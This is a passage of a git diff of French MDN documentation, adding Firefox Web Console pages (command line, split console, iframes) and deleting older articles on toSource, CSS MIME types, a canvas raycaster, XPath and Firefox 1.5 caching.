Console scindée
+
Utiliser la Console à côté d'autres outils.
+
+
+ +
+
+
Les messages de la console
+
Les détails des messages que la Console enregistre.
+
Informations détaillées
+
Voir et interagir avec les objets affichés par la Console.
+
Raccourcis clavier
+
Référence des raccourcis.
+
+
+
diff --git a/files/fr/tools/web_console/keyboard_shortcuts/index.html b/files/fr/tools/web_console/keyboard_shortcuts/index.html new file mode 100644 index 0000000000..ddff3cf238 --- /dev/null +++ b/files/fr/tools/web_console/keyboard_shortcuts/index.html @@ -0,0 +1,12 @@ +--- +title: Raccourcis clavier +slug: Outils/Console_Web/Keyboard_shortcuts +translation_of: Tools/Web_Console/Keyboard_shortcuts +--- +
{{ToolsSidebar}}
+ +

{{ Page ("fr/docs/tools/Keyboard_shortcuts", "web-console") }}

+ +

Global shortcuts

+ +

{{ Page ("fr/docs/tools/Keyboard_shortcuts", "all-toolbox-tools") }}

diff --git a/files/fr/tools/web_console/rich_output/index.html b/files/fr/tools/web_console/rich_output/index.html new file mode 100644 index 0000000000..cf1a2a8146 --- /dev/null +++ b/files/fr/tools/web_console/rich_output/index.html @@ -0,0 +1,77 @@ +--- +title: Informations Détaillées +slug: Outils/Console_Web/Rich_output +translation_of: Tools/Web_Console/Rich_output +--- +
{{ToolsSidebar}}
+ +

Lorsque la console Web, affiche des objets, elle inclut un ensemble d'informations plus riche que juste le nom de l'objet. En particulier elle :

+ + + +

Information spécifique aux types

+ +

La Console Web fournit des informations supplémentaires pour une bonne partie des types d'objets, cela inclut les types suivants :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Object
Array
Date
Promise +
+

New in Firefox 36

+
+ +

+
RegExp
Window
Document
Element
Event
+ +

Examiner les propriétés d'un objet

+ +

Lorsqu'un objet est affiché dans la console, il apparait avec une petite icône en forme de triangle en début de ligne. Cliquer dessus affichera une liste de son contenu.

+ +

+ +

Mettre en surbrillance les noeuds DOM

+ +

Lors d'un survol, sur un noeud DOM affiché dans la console, il sera mis en surbrillance dans la page :

+ +

Dans la capture d'écran ci-dessous, il est possible de remarquer une "cible" bleue à côté de du noeud : cliquer dessus ouvrira l'Inspecteur avec ce noeud sélectionné.

diff --git a/files/fr/tools/web_console/split_console/index.html b/files/fr/tools/web_console/split_console/index.html new file mode 100644 index 0000000000..8ead94713a --- /dev/null +++ b/files/fr/tools/web_console/split_console/index.html @@ -0,0 +1,20 @@ +--- +title: Console scindée +slug: Outils/Console_Web/Split_console +translation_of: Tools/Web_Console/Split_console +--- +
{{ToolsSidebar}}
+ +

Il est possible (et très pratique) d'utiliser la Console web en parallèle d'autres outils. Il suffit pour cela d'être dans un autre outil de développement et d'appuyer sur Échap ou bien d'appuyer sur le bouton "Afficher la console scindée" dans le menu de la Barre d'outils. La boite à outils sera alors scindée, avec l'outil de base en haut et la console en dessous.

+ +

Il est possible de fermer la console scindée en appuyant à nouveau sur Échap, ou en utilisant le bouton "Fermer la console scindée".

+ +

+ +

{{EmbedYouTube("G2hyxhPHyXo")}}

+ +

Comme d'ordinaire $0 sert de raccourci pour l'élément sélectionné actuellement dans l'inspecteur :

+ +

Lors de l'utilisation de la Console scindée avec le Débogueur, la portée (scope) de la console correspond à celle du Débogueur. Ainsi si le code s'arrête à un point d'arrêt dans une fonction, la portée sera celle de la fonction. En comme si ça n'était pas assez, il y a également de l'auto complétion en fonction de la portée, cela permet par exemple de modifier les objets de la fonction facilement et rapidement :

+ +

diff --git a/files/fr/tools/web_console/the_command_line_interpreter/index.html b/files/fr/tools/web_console/the_command_line_interpreter/index.html new file mode 100644 index 0000000000..631bcd0ef8 --- /dev/null +++ b/files/fr/tools/web_console/the_command_line_interpreter/index.html @@ -0,0 +1,161 @@ +--- +title: Interpreteur de ligne de commande +slug: Outils/Console_Web/The_command_line_interpreter +translation_of: Tools/Web_Console/The_command_line_interpreter +--- +
{{ToolsSidebar}}
+ +

Il est possible d'interpréter des expressions JavaScript en temps réel en utilisant l'interpréteur de ligne de commande fournie par la Console Web. La Console a deux modes de saisie : mode ligne unique et mode éditeur multiligne.

+ +

Le mode ligne unique

+ +

Pour ce mode se saisie, vous pouvez écrire des expressions JavaScript dans le champ de saisie qui se situe en bas de la console, à droite de >>.

+ +

Mode ligne unique, on constate que la zone de saisie se situent en bas, à la fin des message de la Console Web

+ +

Pour ajouter des expressions il suffit de les saisir dans la ligne de commande et d'appuyer sur Entrée. Pour sauter des lignes et ainsi pouvoir entrer des expressions multiligne, il suffit d'utiliser MajEntrée au lieu de Entrée.

+ +

L'expression entrée s'affiche alors dans la fenêtre d'affichage de message, et est suivie par son résultat :

+ +

Retour de la Console Web avec coloration syntactique

+ +

Si votre expression n'a pas l'air d'être complète lorsque Entrée est pressée, alors la console considère qu'il s'agit en fait d'un Maj+Entrée , permettant ainsi de finir l'expression.

+ +

Par exemple, si vous tapez :

+ +
function toto() {
+ +

et que vous appuyiez sur Entrée, la Console ne validera PAS immédiatement votre saisie. Ceci permet d'éviter les erreurs d'inattention avec un code invalide ou pas prêt, vous épargnant par la même occasion une erreur frustrante. À la place, la Console fera comme si vous aviez utilisé Maj+Entrée , et il sera ainsi possible de finir tranquillement de rentrer la définition de la fonction.

+ +

Le mode éditeur multiligne

+ +

Pour le mode éditeur multiligne, cliquez sur "Passer en mode éditeur multiligne" Icone passer en mode éditeur multiligne à droite de la zone de saisie du mode ligne unique ou pressez Ctrl+B (Windows/Linux) ou Cmd+B (macOS). L'éditeur multiligne s'ouvre à gauche de la Console Web. 

+ +

Editeur multiligne, avec deux colonnes, à gauche la zone de saisie et à droite la liste des message de la Console Web

+ +

À l'inverse du mode ligne unique, vous pouvez saisir plusieurs lignes en pressant la touche Entrée. Pour exécuter le morceau de code que vous avez saisi, cliquez sur le bouton "Exécuter" au dessus de la zone d'édition ou appuyez sur Ctrl+Entrée (ou Cmd+Return sur MacOS).

+ +

Vous pouvez ouvrir des fichiers avec le mode éditeur multiligne et sauvegarder dans un fichier le contenu présent dans la zone d'édition :

+ +
    +
  • Pour ouvrir un fichier, appuyez sur Ctrl+O (Cmd+O sur MacOS). Une boite de dialogue s'ouvrira vous demandant de sélectionner le fichier à ouvrir. 
    • +
  • Pour sauvegarder le contenu de la zone d'édition, appuyez sur Ctrl+S (Cmd+S sur MacOS). Une boite de dialogue s'ouvrira vous demandant de sélectionner l'emplacement de sauvegarde.
    • +
+ +

Pour revenir au mode ligne unique, cliquez sur l'icône X au-dessus de la zone d'édition ou appuyez sur Ctrl+B (Windows/Linux) ou Cmd+B (MacOS).

+ +

Accéder à des variables

+ +

Il est possible d'accéder à des variables définies dans la page, par exemple des variables préconstruites comme window et des variables ajoutées par du code JavaScript comme jQuery :

+ +

+ +

Autocomplétion

+ +

La ligne de commande possède de l'autocomplétion : il suffit d'entrer quelques lettres et une pop-up apparait avec les complétions possibles (s’il y en a) :

+ +

+ +

Appuyer sur Entrée, Tab, ou Flèche Droite, acceptera la suggestion sélectionnée. Pour changer de sélection, il faut utiliser les flèches haut/bas ou continuer à taper pour affiner les suggestions.

+ +

Les suggestions d'autocomplétion sont sensibles à la case.

+ +

La console suggère des complétions depuis le scope qui s'exécute actuellement dans la stack frame. Cela signifie que si la console s'est arrêtée sur un point d'arrêt, l'autocomplétion suggérera des objets de la fonction locale.

+ +

Les suggestions fonctionnent pour les tableaux également :

+ +

+ +

Définir des variables

+ +

Il est possible de définir ses propres variables et d'y accéder par la suite :

+ +

Console output showing syntax highlighting

+ +

Une fois qu'il aura été interprété, le texte entré aura de la coloration syntaxique, de même que le résultat si approprié.

+ +
+

Note: La coloration syntaxique ne sera pas visible dans votre navigateur si certaines fonctionnalités d'Accessibilité sont activées.

+
+ +

Historique de commandes

+ +

La ligne de commande se souvient des commandes qui ont été entrées : pour naviguer dans l'historique, il faut utiliser les flèches haut/bas.

+ +

Cet historique persiste entre les sessions. Pour nettoyer l'historique, il faut utiliser fonction d'aide clearHistory().

+ +

À partir de Firefox 65, il est possible d'initier une recherche inversée dans l'historique, à l'instar de ce qui est possible dans le bash Linux/Mac ou du PowerShell de Windows.
+
+ Sur Windows et Linux, F9 lance la recherche inversée. Sur Mac il s'agit de Ctrl + R

+ +

+ +

Il faut ensuite entrer le texte recherché dans la ligne de commande en bas de la Console. Lors de la frappe, la première occurrence correspondante sera affichée dans la Console.

+ +

+ +

Appuyer de nouveau sur F9 (Ctrl + R sous Mac) itère à l'envers parmi les occurrences. Utiliser Maj + F9 (Ctrl + S sur Mac) itère à l'endroit parmi les occurrences. Lorsque la commande cherchée est trouvée, appuyer sur Entrée exécute l'expression.

+ +

Travailler avec des iframes

+ +

Si une page contient des iframes, il est possible d'utiliser la commande cd() pour changer le scope de la console vers celui d'une iframe spécifique. Il est alors possible d'exécuter des fonctions définies dans le document hosté par cette iframe. Il y a trois façons d'accéder à une iframe en utilisant cd():

+ +

Il est possible de passer l'élément DOM de l'iframe :

+ +
var frame = document.getElementById("frame1");
+cd(frame);
+ +

Il est possible de passer un sélecteur CSS qui correspond à l'iframe :

+ +
cd("#frame1");
+ +

Il est possible de passer l'objet global window de l'iframe :

+ +
var frame = document.getElementById("frame1");
+cd(frame.contentWindow);
+ +

Pour revenir au contexte de la fenêtre principale, il suffit d'appeler cd() sans paramètres :

+ +
cd();
+ +

Par exemple, supposons que nous avons un document qui inclut une iframe :

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="UTF-8">
+  </head>
+  <body>
+    <iframe id="frame1" src="static/frame/my-frame1.html"></iframe>
+  </body>
+</html>
+ +

Cette iframe définit une nouvelle fonction :

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="UTF-8">
+    <script>
+      function whoAreYou() {
+        return "I'm frame1";
+      }
+   </script>
+  </head>
+  <body>
+  </body>
+</html>
+ +

Il est possible de changer de contexte comme ceci :

+ +
cd("#frame1");
+ +

Le document de l'objet global window est maintenant celui de l'iframe :

+ +

Et il est alors possible d'appeler la fonction définie dans l'iframe :

+ +

+ +

Commandes d'aide

+ +

{{ page("/fr/docs/Outils/Console_Web/Fonctions_d_aide", "Les commandes") }}

diff --git a/files/fr/tools/web_console/ui_tour/index.html b/files/fr/tools/web_console/ui_tour/index.html new file mode 100644 index 0000000000..aa1a5fd0d7 --- /dev/null +++ b/files/fr/tools/web_console/ui_tour/index.html @@ -0,0 +1,29 @@ +--- +title: Ouvrir la Console web +slug: Outils/Console_Web/Opening_the_Web_Console +translation_of: Tools/Web_Console/UI_Tour +--- +
{{ToolsSidebar}}
+ +

Pour ouvrir la Console web, il faut :

+ +
    +
  • Soit sélectionner "Console Web" dans le sous-menu "Développement" du menu de Firefox ( sous Mac OS X, il s'agit du menu "Outils")
    • +
  • Soit utiliser le raccourci clavier Ctrl+Maj+K (Cmd+Option+K sous OS X).
    • +
+ +

La Boite à outils apparaitra en bas de la fenêtre du navigateur, avec la Console Web activée (elle s'appelle simplement "Console" dans la barre d'outils des outils de développement) :

+ +

+ +

L'interface de la Console web est séparée en trois sections horizontales :

+ +
    +
  • La Barre d'outils se trouve en haut et contient trois boutons. Cliquer sur la corbeille efface le contenu de la Console. Cliquer sur l'entonnoir filtre les messages affichés dans la Console. La case à cocher à droite active les journaux persistant (pas d'effaçage au rechargement ou changement de page)
    • +
  • La Ligne de commande se trouve tout en bas, commence par ">>", et permet d'entrer des expressions JavaScript.
    • +
  • Le panneau d'affichage des messages se trouve entre la barre d'outils et la ligne de commande et occupe la plupart de la fenêtre. Il affiche les divers messages de la console.
    • +
+ +
+

Note: Il est possible de vider le contenu de la console avec le raccourci clavier Ctrl + L (Windows, Linux) ou Cmd + K sous macOS.

+
diff --git a/files/fr/tools/working_with_iframes/index.html b/files/fr/tools/working_with_iframes/index.html new file mode 100644 index 0000000000..114074c320 --- /dev/null +++ b/files/fr/tools/working_with_iframes/index.html @@ -0,0 +1,25 @@ +--- +title: Travailler avec les iframes +slug: Outils/Travailler_avec_les_iframes +tags: + - DevTools + - Frames + - Tools + - debogueur + - iframe + - outils de développement +translation_of: Tools/Working_with_iframes +--- +
{{ToolsSidebar}}
+ +

Il est possible d'assigner les outils de développement à un iframe spécifique à l’intérieur d'un document.

+ +

{{EmbedYouTube("Me9hjqd74m8")}}

+ +

Il existe un bouton dans la barre d'outils :

+ +

Cliquer dessus affichera une liste de tous les iframes du document en pop up ainsi que le document lui même.

+ +

+ +

Sélectionner une entrée de la liste fera que tous les outils de développement - l'Inspecteur, la console, le Débogueur etc. -  seront assignés uniquement à cet iframe qui se comportera comme si le reste de la page n'existait pas.

diff --git a/files/fr/tosource/index.html b/files/fr/tosource/index.html deleted file mode 100644 index cbd68198f6..0000000000 --- a/files/fr/tosource/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: toSource -slug: toSource -tags: - - Désambiguation -translation_of: Web/JavaScript/Reference/Global_Objects/Object/toSource -translation_of_original: toSource ---- -
toSource est une méthode de différents objets JavaScript :
- -
    -
  • toSource — méthode de l'objet Array.
    • -
  • toSource — méthode de l'objet Boolean.
    • -
  • toSource — méthode de l'objet Date.
    • -
  • toSource — méthode de l'objet Function.
    • -
  • toSource — méthode de l'objet Number.
    • -
  • toSource — méthode de l'objet Object.
    • -
  • toSource — méthode de l'objet RegExp.
    • -
  • toSource — méthode de l'objet String.
    • -
- -

Ceci est une page de désambiguation — une aide à la navigation qui liste une série de pages qui devraient partager le même titre. Si un lien provenant d'un article mène ici, n'hésitez pas à revenir à celui-ci pour le faire pointer vers la page concernée.

- -
-

{{ languages( { "en": "en/ToSource" } ) }}

-
diff --git a/files/fr/tostring/index.html b/files/fr/tostring/index.html deleted file mode 100644 index b558e82142..0000000000 --- a/files/fr/tostring/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: toString -slug: toString -tags: - - Désambiguation -translation_of: Web/JavaScript/Reference/Global_Objects/Date/toString -translation_of_original: toString ---- -
toString est une méthode de plusieurs objets JavaScript :
- -
    -
  • toString — Méthode de l'objet Array.
    • -
  • toString — Méthode de l'objet Boolean.
    • -
  • toString — Méthode de l'objet Date.
    • -
  • toString — Méthode de l'objet Function.
    • -
  • toString — Méthode de l'objet JavaArray.
    • -
  • toString — Méthode de l'objet Number.
    • -
  • toString — Méthode de l'objet Object.
    • -
  • toString — Méthode de l'objet RegExp.
    • -
  • toString — Méthode de l'objet String.
    • -
- -

Ceci est une page de désambiguation — une aide à la navigation qui liste une série de pages qui devraient partager le même titre. Si un lien provenant d'un article mène ici, n'hésitez pas à revenir à celui-ci pour le faire pointer vers la page concernée.

diff --git a/files/fr/type_mime_incorrect_pour_les_fichiers_css/index.html b/files/fr/type_mime_incorrect_pour_les_fichiers_css/index.html deleted file mode 100644 index 8b529a4399..0000000000 --- a/files/fr/type_mime_incorrect_pour_les_fichiers_css/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Type MIME incorrect pour les fichiers CSS -slug: Type_MIME_incorrect_pour_les_fichiers_CSS -tags: - - CSS -translation_of: Web/HTTP/Basics_of_HTTP/MIME_types -translation_of_original: Incorrect_MIME_Type_for_CSS_Files ---- -

Description du problème

- -

Vous pouvez rencontrer des pages Web utilisant CSS avec une mise en page dégradée sous Firefox, Netscape 7.x ou tout autre navigateur basé sur Gecko comme Mozilla, tandis qu'Internet Explorer les affiche correctement. Une des raisons les plus courantes de cette situation est une configuration incorrecte du serveur Web hébergeant le fichier CSS. Certains serveurs Web Apache et iPlanet associent les fichiers portant une extension .css avec un type MIME incorrect comme « text/plain » ou « application/x-pointplus ». Dans certains cas, Netscape 7.x et Mozilla ignorent le fichier CSS à cause d'un mauvais type MIME et utilisent une feuille de style par défaut, ce qui fait que la mise en page n'est plus celle qui était prévue par le développeur Web.

- -

La source du problème

- -

La spécification du W3C indique que les fichiers CSS doivent être servis avec un type MIME text/css. Mozilla et Netscape 7.x, lorsqu'ils sont en « mode strict » suivront la spécification à la lettre et s'attendront à ce que le fichier CSS soit servi avec le type MIME correct (le « mode strict » est activé en mentionnant une DTD « stricte » dans la première ligne de la page HTML). En mode « quirks », ces navigateurs tolèreront un type MIME incorrect et utiliseront la feuille de style associée malgré la configuration incorrecte du serveur. Cela signifie que vous ne pouvez pas avoir de documents « stricts » sur un serveur mal configuré. Internet Explorer laissera passer cela en ne prenant pas en compte le type MIME fourni par le serveur dans les en-têtes HTTP.

- -

La solution à mettre en œuvre

- -

Vous devrez demander à l'administrateur du serveur de mettre à jour le fichier de configuration des types MIME du serveur Web.

- -

Ce problème, pour les serveurs Web iPlanet/Netscape, a déjà été pris en compte par le fournissseur, qui a publié une note technique dans sa base de connaissances.

- -

Si vous utilisez Apache, vous pouvez également changer la configuration du fichier .htaccess dans votre répertoire racine (le fichier .htaccess est un fichier de configuration en lecture seule gérant un certain nombre de choses dont les types MIME). Ajoutez cette ligne dans votre fichier .htaccess :

- -
AddType text/css .css
- -

Notez que certains administrateurs désactivent l'utilisation de fichiers de configuration .htaccess sur leurs serveurs Apache parce que cela cause une petite baisse des performances.

- -

Conclusion

- -

L'utilisation d'une définition de type de document strict avec Mozilla signifie que le serveur Web servant vos pages Web doit être configuré correctement. Il existe plusieurs manières de contourner ce problème, mais la plus efficace est d'associer les fichiers CSS avec le bon type MIME. Demandez à l'administrateur de corriger cela pour vous, tous les autres utilisateurs qui publient des documents HTML en mode strict vous remercieront !

- -

Changement des types MIME sur les serveurs Web iPlanet/Sun

- -

Problème

- -

Les utilisateurs sont confrontés avec une boîte de dialogue « Enregistrer sous » avec le type de contenu défini à application/x-pointplus ou le contenu du fichier CSS est affiché en mode texte dans le navigateur lorsqu'une page renseigne un fichier CSS avec l'extension de fichier .css.

- -

Solution

- -

Le type de fichier CSS ne correspond pas aux feuilles de style CSS dans les types de fichiers par défaut fournis avec Enterprise Server. Vous pouvez changer les correspondances dans la page des types MIME globaux.

- -

Pour accéder à cette page, depuis l'administration du serveur, choisissez Server Preferences, MIME Types et définissez le type MIME pour l'extension .css à text/css plutôt que application/x-pointplus.

- -

Si le problème persiste, désactivez l'option keepalive en ajoutant « KeepAliveTimeout 0 » à magnus.conf.

- -

Basé sur : SunSolve, Sun Microsystems

- -

Ressources additionnelles

- -

Configuration correcte des types MIME d'un serveur

- -

About garbled media

- -
-

Informations sur le document original

- -
    -
  • Auteur(s) : Tristan Nitot
    • -
  • Date de publication : 18 mars 2002
    • -
  • Copyright © 2001-2003 Netscape.
    • -
-
- -

Interwiki Language Links

- -

{{ languages( { "en": "en/Incorrect_MIME_Type_for_CSS_Files", "es": "es/Tipo_MIME_incorrecto_en_archivos_CSS", "pl": "pl/Nieprawid\u0142owy_typ_MIME_plik\u00f3w_CSS" } ) }}

diff --git a/files/fr/un_raycaster_basique_avec_canvas/index.html b/files/fr/un_raycaster_basique_avec_canvas/index.html deleted file mode 100644 index b729a42222..0000000000 --- a/files/fr/un_raycaster_basique_avec_canvas/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Un raycaster basique avec canvas -slug: Un_raycaster_basique_avec_canvas -tags: - - 3D - - Canvas - - Exemples - - Graphismes - - Web -translation_of: Web/API/Canvas_API/A_basic_ray-caster ---- -

{{CanvasSidebar}}

- -

Cet article fournit un exemple intéressant concret d'utilisation de l'élément {{HTMLElement("canvas")}} pour faire un logiciel rendant un environnement 3D à l'aide de la projection de rayons.

- -

{{EmbedGHLiveSample("canvas-raycaster/index.html", 900, 300)}}

- -

Ouvrir une nouvelle fenêtre

- -

Pourquoi ?

- -

Après avoir réalisé, à mon plus grand plaisir, que le sympathique élément <canvas> dont j'avais entendu parler (en), non seulement allait être supporté par Firefox, mais était déjà supporté dans la version actuelle de Safari, je me devais de tenter une petite expérience.

- -

La présentation et le tutoriel canvas que j'ai trouvé ici sur MDC sont excellents, mais personne n'a encore rien écrit sur l'animation, j'ai donc pensé porter un "raycaster" basique sur lequel j'avais travaillé il y a quelque temps, et voir quelle sorte de performance nous pouvions attendre d'un tampon de pixel écrit en JavaScript.

- -

Comment ?

- -

L'idée de base est d'employer {{domxref("window.setInterval","setInterval()")}} à intervalle régulier, correspondant au taux de trame désiré. Après chaque intervalle, une fonction de mise à jour redessine le canvas, affichant la vue actuelle. Je sais que j'aurais pu commencer avec un exemple plus simple, mais je suis sûr que le tutoriel canvas va y conduire, et je voulais voir si je pouvais y arriver.

- -

Donc, à chaque mise à jour, le projeteur de rayons vérifie si vous avez pressé une touche récemment, pour s'éviter des calculs si vous êtes immobile. S'il y a eu un mouvement, le canvas est effacé, le ciel et le sol sont dessinés, la position et l'orientation de la caméra corrigées et les rayons projetés. Lorsque les rayons rencontrent un mur, ils créent une bandelette verticale de canvas de la couleur du mur qu'ils ont touché, mélangée à une nuance plus sombre de cette couleur en fonction de la distance au mur. La hauteur de la bandelette est modulée par la distance entre le mur et la caméra, et la bandelette est dessinée centrée sur la ligne d'horizon.

- -

Le code que j'ai obtenu est l'amalgame des chapitres "raycaster" d'un vieux livre d'André Lamothe Tricks of the Game Programming Gurus (ISBN: 0672305070), et d'un Projeteur de rayons Java que j'ai trouvé en ligne, modifié par mon besoin compulsif de tout renommer pour que cela ait un sens pour moi, et pour tout le bricolage nécessaire pour que l'ensemble fonctionne bien.

- -

Résultats

- -

Le canvas dans Safari 2.0.1 a étonnement bien marché. Avec le facteur de bloc-itude poussé pour rendre des bandelettes de 8 pixels de largeur, j'arrive à faire tourner une fenêtre en 320 x 240 à 24 images/seconde sur mon Apple mini. Firefox 1.5 Beta 1 est encore plus rapide, j'obtiens 24 images/seconde sur la fenêtre de 320 x 240 avec des bandelettes de 4 pixels. Pas vraiment un nouveau membre de la famille "ID software", mais plutôt décent si l'on considère qu'il s'agit d'un environnement entièrement interprété, et que je n'ai eu à m'inquiéter ni de l'allocation mémoire, ni des modes vidéos, ni de coder les routines centrales en assembleur, ni de quoi que soit d'autre. Le code cherche à être très efficace, consultant un tableau de valeurs précalculées, mais je ne suis pas un dieu de l'optimisation, donc les choses pourraient probablement être écrites plus rapidement.

- -

De plus, il laisse beaucoup à désirer en tant que tentative d'une espèce de moteur de jeu— il n'y a pas de textures sur les murs, pas de sprites, pas de portes, même pas de téléporteurs pour passer à un autre niveau. Je suis cependant presque certain que toutes ces choses peuvent être intégrées pourvu qu'on en prenne le temps. L' API de canvas supporte la copie d'images par pixel, donc les textures semblent possibles. Je laisse ça pour un autre article, probablement d'une autre personne. =)

- -

Le projeteur de rayons (ray-caster)

- -

De sympathiques personnes ici ont copié mes fichiers manuellement pour que vous puissiez y jeter un coup d'oeil, et pour votre plaisir, j'ai posté le contenu de chacun des fichiers sous la forme de listings de code (voir plus bas).

- -

Vous y voici donc, lancez Safari 1.3+, Firefox 1.5+ ou un autre navigateur supportant l'élément <canvas> et amusez-vous!
-
- input.js | Level.js | Player.js | RayCaster.html | RayCaster.js | trace.css | trace.js

- -

Voir aussi

- - diff --git a/files/fr/utilisation_de_xpath/index.html b/files/fr/utilisation_de_xpath/index.html deleted file mode 100644 index 861663258c..0000000000 --- a/files/fr/utilisation_de_xpath/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Utilisation de XPath -slug: Utilisation_de_XPath -tags: - - AJAX - - DOM - - Extensions - - Transformations_XML_avec_XSLT - - XML - - XPath - - XSLT -translation_of: Web/XPath/Introduction_to_using_XPath_in_JavaScript -translation_of_original: Using_XPath ---- -

 

-

XPath est un langage de conversion des éléments d'un document XML. C'est une recommandation du W3C (en).

-

Cet article décrit les interfaces de Mozilla qui exposent les fonctionnalités XPath au code JavaScript. Elles sont décrites dans DOM Level 3 XPath (en) (qui est une note du groupe de travail du W3C pour le moment).

-

Cet article n'a pas vocation à enseigner XPath. Si vous n'êtes pas familier avec cette technologie, veuillez vous référer au tutoriel XPath de W3Schools (en).

-

Fonction Wrapper

-

La fonction suivante peut être utilisée pour évaluer des expressions XPath de nœuds XML donnés. Le premier argument est un nœud DOM ou un objet de Document, le second est une chaîne définissant l'expression XPath.

-
// Évalue une expression XPath aExpression par rapport à un nœud DOM donné
-// ou un objet de document (aNode), puis retourne les résultats en table
-// Merci à wanderingstan at morethanwarm dot mail dot com pour le
-// travail initial.
-function evaluateXPath(aNode, aExpr) {
-  var xpe = new XPathEvaluator();
-  var nsResolver = xpe.createNSResolver(aNode.ownerDocument == null ?
-    aNode.documentElement : aNode.ownerDocument.documentElement);
-  var result = xpe.evaluate(aExpr, aNode, nsResolver, 0, null);
-  var found = [];
-  var res;
-  while (res = result.iterateNext())
-    found.push(res);
-  return found;
-}
-
-

Cette fonction utilise new XPathEvaluator(). Ce constructeur est spécifique à Mozilla. Les scripts utilisés dans des pages Web qui seront affichées par les différents navigateurs existant devraient remplacer l'appel à new XPathEvaluator() avec le fragment de code suivant :

-
 // XPathEvaluator est implémenté sur les objets qui implémente Document
- var xpe = aNode.ownerDocument || aNode;
-
-

Dans ce cas, la création de XPathNSResolver peut être simplifiée avec :

-
 var nsResolver = xpe.createNSResolver(xpe.documentElement);
-
-

Notez cependant, que createNSResolver ne doit être utilisé que si vous êtes sûr que les préfixes de l'espace de noms correspondent à ceux du document « interrogé ». Autrement, vous devrez fournir votre propre implémentation de XPathNSResolver.

-

Si vous utilisez XMLHttpRequest pour un fichier XML local ou distant dans un arbre DOM (comme décrit dans Analyser et sérialiser XML), le premier argument de evaluateXPath() devrait être req.responseXML.

-

Exemple d'utilisation

-

Supposons que l'on ait le document XML suivant (voir également Création d'un arbre DOM et Analyser et sérialiser XML):

-
<?xml version="1.0"?>
-<people>
-  <person first-name="eric" middle-initial="H" last-name="jung">
-    <address street="321 south st" city="denver" state="co" country="usa"/>
-    <address street="123 main st" city="arlington" state="ma" country="usa"/>
-  </person>
-
-  <person first-name="jed" last-name="brown">
-    <address street="321 north st" city="atlanta" state="ga" country="usa"/>
-    <address street="123 west st" city="seattle" state="wa" country="usa"/>
-    <address street="321 south avenue" city="denver" state="co" country="usa"/>
-  </person>
-</people>
-
-

Vous pouvez « interroger » le document à l'aide d'expressions XPath. Bien que parcourir l'arbre DOM donnera des résultats similaires, l'utilisation d'expressions XPath est bien plus rapide et puissante. Si vous avez la possiblité d'utiliser des attributs id, document.getElementById() est encore puissant, mais toujours moins que XPath. Voici quelques exemples.

-
// affiche le nom de famille de toutes les personnes du document
-var results = evaluateXPath(people, "//person/@last-name");
-for (var i in results)
-  alert("la nom de famille de la personne #" + i + "est" + results[i].value);
-
-// recupère le nœud de la seconde personne
-results = evaluateXPath(people, "/people/person[2]");
-
-// récupère les nœuds de toutes les personnes vivant à Denver
-results = evaluateXPath(people, "//person[address/@city='denver']");
-
-// Récupère les adresses contenant "south" dans le nom de voie
-results = evaluateXPath(people,  "//address[contains(@street, 'south')]");
-alert(results.length);
-
-

Ressources

- -

Interwiki Language Links

-

 

-

 

- -

{{ languages( { "en": "en/Using_XPath", "ja": "ja/Using_XPath", "ko": "ko/Using_XPath", "zh-cn": "cn/Using_XPath" } ) }}

diff --git a/files/fr/utilisation_du_cache_de_firefox_1.5/index.html b/files/fr/utilisation_du_cache_de_firefox_1.5/index.html deleted file mode 100644 index b88ec3bfcd..0000000000 --- a/files/fr/utilisation_du_cache_de_firefox_1.5/index.html +++ /dev/null @@ -1,195 +0,0 @@ ---- -title: Utilisation du cache de Firefox 1.5 -slug: Utilisation_du_cache_de_Firefox_1.5 -tags: - - DOM - - Développement_Web - - Extensions - - HTML - - JavaScript -translation_of: Mozilla/Firefox/Releases/1.5/Using_Firefox_1.5_caching ---- -
{{FirefoxSidebar}}

 

- -

Introduction

- -

Firefox 1.5 met en mémoire cache des pages Web entières, avec leurs états JavaScript, pour une même session de navigation. Revenir ou avancer entre des pages déjà visitées ne nécessite aucun chargement de page et les états JavaScript sont préservés. Cette fonctionnalité parfois appelée bfcache (pour « Back-Forward Cache ») rend la navigation très rapide. Ce cache est préservé en mémoire jusqu'à ce que l'utilisateur ferme le navigateur.

- -

Il existe des cas où Firefox ne met pas en cache les pages. Vous trouverez ci-dessous certaines raisons classiques de programmation faisant qu'une page n'est pas mise en cache :

- -
    -
  • La page utilise un gestionnaire unload
    • -
  • La page définit « cache-control: no-store »
    • -
  • La page définit « cache-control: no-cache » et le site est sécurisé par HTTPS
    • -
  • La page n'est pas complètement chargée quand l'utilisateur la quitte pour en charger une autre
    • -
  • La page de niveau supérieur de la page contient des cadres qui ne peuvent pas être mis en cache
    • -
  • La page est dans un cadre et l'utilisateur charge une nouvelle page dans ce cadre (dans ce cas, lorsque l'utilisateur navigue vers une autre page, le dernier contenu chargé dans les cadres est celui mis en cache)
    • -
- -

Cette nouvelle fonctionnalité de mise en cache modifie le comportement du chargement des pages, et les webmestres peuvent désirer :

- -
    -
  • savoir qu'une page a été accédée (lorsqu'elle est chargée depuis le cache de l'utilisateur)
    • -
  • définir le comportement d'une page lorsque l'utilisateur la quitte (tout en lui permettant d'être mise en cache)
    • -
- -

Le navigateur offre aux webmestres deux nouveaux évènements pour cela.

- -

Nouveaux évènements du navigateur

- -

Si vous utilisez ces nouveaux évènements, vos pages continueront à s'afficher correctement dans les autres navigateurs (nous avons testé des versions antérieures de Firefox, Internet Explorer, Opera et Safari), et elles utiliseront ces nouvelles fonctionnalités de mise en cache lors de leur chargement dans Firefox 1.5.

- -

Le comportement standard des pages Web est :

- -
    -
  1. L'utilisateur accède à une page.
    2. -
  2. Au cours du chargement de la page, les scripts contenus dans la page (inline) s'exécutent.
    3. -
  3. Dès que la page est chargée, le gestionnaire onload est invoqué.
    4. -
- -

Certaines pages comprennent une quatrième étape. Ce sont celles qui utilisent un gestionnaire unload se déclenchant lorsque l'utilisateur quitte la page pour en charger une autre. Si un gestionnaire unload est présent, la page ne sera pas mise en cache.

- -

